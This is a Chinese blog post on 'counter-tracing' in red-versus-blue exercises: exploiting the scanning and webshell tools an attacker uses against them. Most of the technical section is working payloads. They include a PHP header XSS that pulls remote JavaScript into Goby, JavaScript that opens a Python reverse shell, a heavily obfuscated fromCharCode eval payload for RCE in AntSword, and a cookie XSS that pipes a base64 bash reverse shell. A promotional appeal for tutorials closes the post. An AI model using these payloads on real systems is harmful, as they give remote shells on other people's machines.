红蓝对抗-溯源反制（2）_msf 溯源反制-CSDN博客

本文链接：https://blog.csdn.net/Hacker_xingchen/article/details/145931001

msf

msf ⽣成shellcode的yara 扫描

这⾥有msf 目前到6.0.12版本的生成shellcode 的yara 规则，但是存在部分误报，如果需要根据特征去匹配内存中。yara 需要进⼀步在研究

红蓝对抗-溯源反制（2）_溯源反制

dnslog/httplog 等的反制

针对dnslog和httplog 的反制，获取的对方的payload 的url ，然后批量使用站长之家进⾏批量ping 或者使用腾讯云函数进行怕批量访问，对方列表会都是请求。

Goby 反制

打开goby开始扫描->IP详情->XSS->RCE 完成

1. goby扫描

2. 服务端返回⼀个header插⼊xss引⽤远程js⽂件

远程JS文件里插入完整的执行代码
攻击队成员点击详情触发xss，最后rce

server端端触发demo

<?php
header("X-Powered-By: PHP/<img  src=\"x\"       
onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");
?>

远程引用js的exp

(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c \'import 
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((
"127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
})();

蚁剑的反制

反向RCE漏洞： https://xz.aliyun.com/t/8167#toc-5

<img src=1 
onerror="eval（String.fromCharCode(118,97,114,32,95,48,120,52,52,100,99,61,91,39,102
,114,111,109,67,104,97,114,67,111,100,101,39,44,39,101,120,112,111,114,116,115,39,4
4,39,108,101,110,103,104,116,39,44,39,101,120,101,99,39,44,39,99,104,105,108,100,95
,112,114,111,99,101,115,115,39,44,39,116,111,83,116,114,105,110,103,39,93,59,40,102
,117,110,99,116,105,111,110,40,95,48,120,51,102,48,49,56,53,44,95,48,120,52,52,100,
99,102,50,41,123,118,97,114,32,95,48,120,51,49,49,98,56,55,61,102,117,110,99,116,10
5,111,110,40,95,48,120,49,57,102,102,55,100,41,123,119,104,105,108,101,40,45,45,95,
48,120,49,57,102,102,55,100,41,123,95,48,120,51,102,48,49,56,53,91,39,112,117,115,1
04,39,93,40,95,48,120,51,102,48,49,56,53,91,39,115,104,105,102,116,39,93,40,41,41,5
9,125,125,59,95,48,120,51,49,49,98,56,55,40,43,43,95,48,120,52,52,100,99,102,50,41,
59,125,40,95,48,120,52,52,100,99,44,48,120,49,54,99,41,41,59,118,97,114,32,95,48,12
0,51,49,49,98,61,102,117,110,99,116,105,111,110,40,95,48,120,51,102,48,49,56,53,44,
95,48,120,52,52,100,99,102,50,41,123,95,48,120,51,102,48,49,56,53,61,95,48,120,51,1
02,48,49,56,53,45,48,120,48,59,118,97,114,32,95,48,120,51,49,49,98,56,55,61,95,48,1
20,52,52,100,99,91,95,48,120,51,102,48,49,56,53,93,59,114,101,116,117,114,110,32,95
,48,120,51,49,49,98,56,55,59,125,59,118,97,114,32,101,120,101,99,61,114,101,113,117
,105,114,101,40,95,48,120,51,49,49,98,40,39,48,120,48,39,41,41,91,95,48,120,51,49,4
9,98,40,39,48,120,53,39,41,93,59,109,111,100,117,108,101,91,95,48,120,51,49,49,98,4
0,39,48,120,51,39,41,93,61,102,117,110,99,116,105,111,110,32,120,40,41,123,114,101,
116,117,114,110,32,110,101,119,32,80,114,111,109,105,115,101,40,102,117,110,99,116,
105,111,110,40,95,48,120,54,56,57,53,48,57,44,95,48,120,52,52,52,98,53,98,41,123,11
8,97,114,32,95,48,120,52,55,52,55,51,50,61,83,116,114,105,110,103,91,95,48,120,51,4
9,49,98,40,39,48,120,50,39,41,93,40,48,120,54,51,44,48,120,54,49,44,48,120,54,99,44
,48,120,54,51,44,48,120,50,101,44,48,120,54,53,44,48,120,55,56,44,48,120,54,53,41,5
9,101,120,101,99,40,95,48,120,52,55,52,55,51,50,44,123,39,109,97,120,66,117,102,102
,101,114,39,58,48,120,52,48,48,42,48,120,55,100,48,125,44,102,117,110,99,116,105,11
1,110,40,95,48,120,53,54,98,98,100,53,44,95,48,120,52,48,49,57,52,51,44,95,48,120,5
0,50,51,48,51,51,41,123,105,102,40,95,48,120,53,54,98,98,100,53,41,95,48,120,52,52,
52,98,53,98,40,95,48,120,53,54,98,98,100,53,41,59,101,108,115,101,32,95,48,120,50,5
0,51,48,51,51,91,95,48,120,51,49,49,98,40,39,48,120,52,39,41,93,62,48,120,48,63,95,
48,120,52,52,52,98,53,98,40,110,101,119,32,69,114,114,111,114,40,95,48,120,50,50,51
,48,51,51,91,95,48,120,51,49,49,98,40,39,48,120,49,39,41,93,40,41,41,41,58,95,48,12
0,54,56,57,53,48,57,40,41,59,125,41,59,125,41,59,125,44,109,111,100,117,108,101,91,
95,48,120,51,49,49,98,40,39,48,120,51,39,41,93,40,41,59));this.parentNode.parentNod
e.removeChild(this.parentNode);" style="display:none;"/>

RCE Vulnerability in View Site #256 ： CVE-2020-25470

<AntSword Ver: 2.1.8.1

登录后复制

<script>document.cookie="a=<img src=x 
onerror='require(\"child_process\").exec(\"echo 
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYxCg== | base64 -d | bash\")'/>"
</script>

网络安全学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：

需要网络安全学习路线和视频教程的可以在评论区留言哦~

最后

如果你确实想自学的话，我可以把我自己整理收藏的这些教程分享给你，里面不仅有web安全，还有渗透测试等等内容，包含电子书、面试题、pdf文档、视频以及相关的课件笔记，我都已经学过了，都可以免费分享给大家！

给小伙伴们的意见是想清楚，自学网络安全没有捷径，相比而言系统的网络安全是最节省成本的方式，因为能够帮你节省大量的时间和精力成本。坚持住，既然已经走到这条路上，虽然前途看似困难重重，只要咬牙坚持，最终会收到你想要的效果。

黑客工具&SRC技术文档&PDF书籍&web安全等（可分享）

结语

网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。